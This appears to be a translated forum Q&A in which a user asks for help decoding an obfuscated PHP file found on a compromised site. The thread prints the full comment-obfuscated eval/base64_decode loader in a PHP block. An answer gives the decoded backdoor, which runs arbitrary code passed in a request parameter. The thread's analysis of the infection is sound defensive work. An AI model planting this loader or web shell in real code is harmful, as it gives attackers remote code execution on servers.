我已经在使用base64_encoder的普通php eval上阅读了很多内容,并且能够解码大部分受感染的php文件。
话虽如此,我有一个不遵循标准eval调用的文件,我想得到社区的一些帮助。
任何人都可以解码和/或告诉我代码中发生了什么吗?
谢谢, --Eric
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnBvKi9ldmFsLypGUSZRX00qLygvKk56SiovYmFzZTY0X2RlY29kZS8qPDU+cyovKC8qTVl5YnMqLydMeW91U
EZJcUwybG1MeXBiY0h0aFZTb3ZLQzhxZCcvKndLc2Q/PGgqLy4vKllcdkgqLycweHVYRFJvTkNvdmFYTnpaWFF2S2sxTVBDb3ZLQycvKiF9Z1sqLy4vKiBrVlQqLyc4cWRYMHJLaThrWDFKRlVWVkZVMVF2S2
54Mk9DdCcvKjlRSG1Ta1FIKi8uLypFYlMuaCovJ2VNRHM4S2k5Ykx5cHNkSFlxTHlkakp5OHFkMmRHJy8qQUI5Ki8uLypxcyFIZU4qLydlQ292TGk4cVFsVXpObElxTHlkdUp5OHFjRGw0SScvKiY6ZSovLi8
qSlVxKi8nVU51S2k4dUx5b3hYQ1o2S2k4bmVTY3ZLbU10Sz'/*0B>.'&CK*/./*W1H*/'MnLypxcFpJKi8uLypBKWVTKi8nQlNLaTh1THlwa2JqRTFKVG9xTHlkemNTY3ZLa2QnLypgZj5zZTgqLy4vKjlENT
FcTyovJ0ROVGxWS2k5ZEx5cFRORXc1S2k4dkttaytXVE1vJy8qOmBaRUtlJkUqLy4vKlVILjspZSovJ1pTb3ZLUzhxT1RCbFVsWlZLaTh2S2xaSmRTVkpmJy8qVzpMa2hUKi8uLyo1cTNmdT8qLydDb3ZLUzh
xTlZvM0ppb3ZaWFpoYkM4cVp5MWNTMCcvKmheXTtbICovLi8qTC5SS2JZKi8nY3FMeWd2S21KNFZVNHllU292YzNSeWFYQnpiR0YnLypTS2MuJSovLi8qb3MwXjUySHsqLyd6YUdWekx5cGVWVjUzYnlvdktD
OHFKMk00SjBvcScvKlJrSCEqLy4vKk41JjkqLydMeVJmVWtW'/*Ju%:AN*/./*0\`a Z=*/'UlZVVlRWQzhxUUNoZGF5b3ZXeThxTCcvKjw8J3guaCovLi8qbixXKi8nV1JXZXpKSFB6QXFMeWRqYmljdktpMX
JlVkpKS2knLyotVS5zKi8uLyogUl5OKi8nOHVMeXBFVnpKYVoyRXFMeWQ1YzNFbkx5bzRTMFknLypjWmsqLy4vKjNkeWVMKi8naElEb3lRU292WFM4cU5peDZkU292THlwdlNVSngnLyonQVJWdyl1Ki8uLyp
eX1pKOmZ2Ki8nVVNvdktTOHFNV0JqS1V3cUx5OHFiMVU4T2tzcUwnLypUdlQrJkYqLy4vKmtFPDNmISovJ3lrdktsVkllMnNsS2k4dktsWmhVaTVUS3lvdk95OHFKbHhoZlN4MEtpOD0nLypaKWVePyovKS8q
J2tYKi8vKmsmViovKS8qMWdFVyovLyo8OHhObSovOy8qXW8/Ki8='/*L,}I*/)/*8Oyj*//*uEGgU*/)/*+LT*//*Q?.e*/;/*oGCkBv*/ ?>
答案 0 :(得分:4)
如果你一直走到兔子洞,你会得到以下命令。
if(isset($_REQUEST['cnysq']))eval(stripslashes($_REQUEST['cnysq']));
如果您在可视化编辑器中打开代码,您会看到有很多评论。删除它们,你会发现它是一个bas64编码的字符串 解码,你会看到更多相同的东西 继续删除注释和连接字符串,在大约3个级别之后,你就会到达这一点。
答案 1 :(得分:2)
这里只是一堆PHP评论,例如从第一行开始:
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnB etc...
^^^^^^^ ^^^^^^^^^^^ ^^^^^^^^ ^^^^^^^^^ ^^^^^^^--comments
真的只是
<?php eval(base64_decode('LyPSnB etc...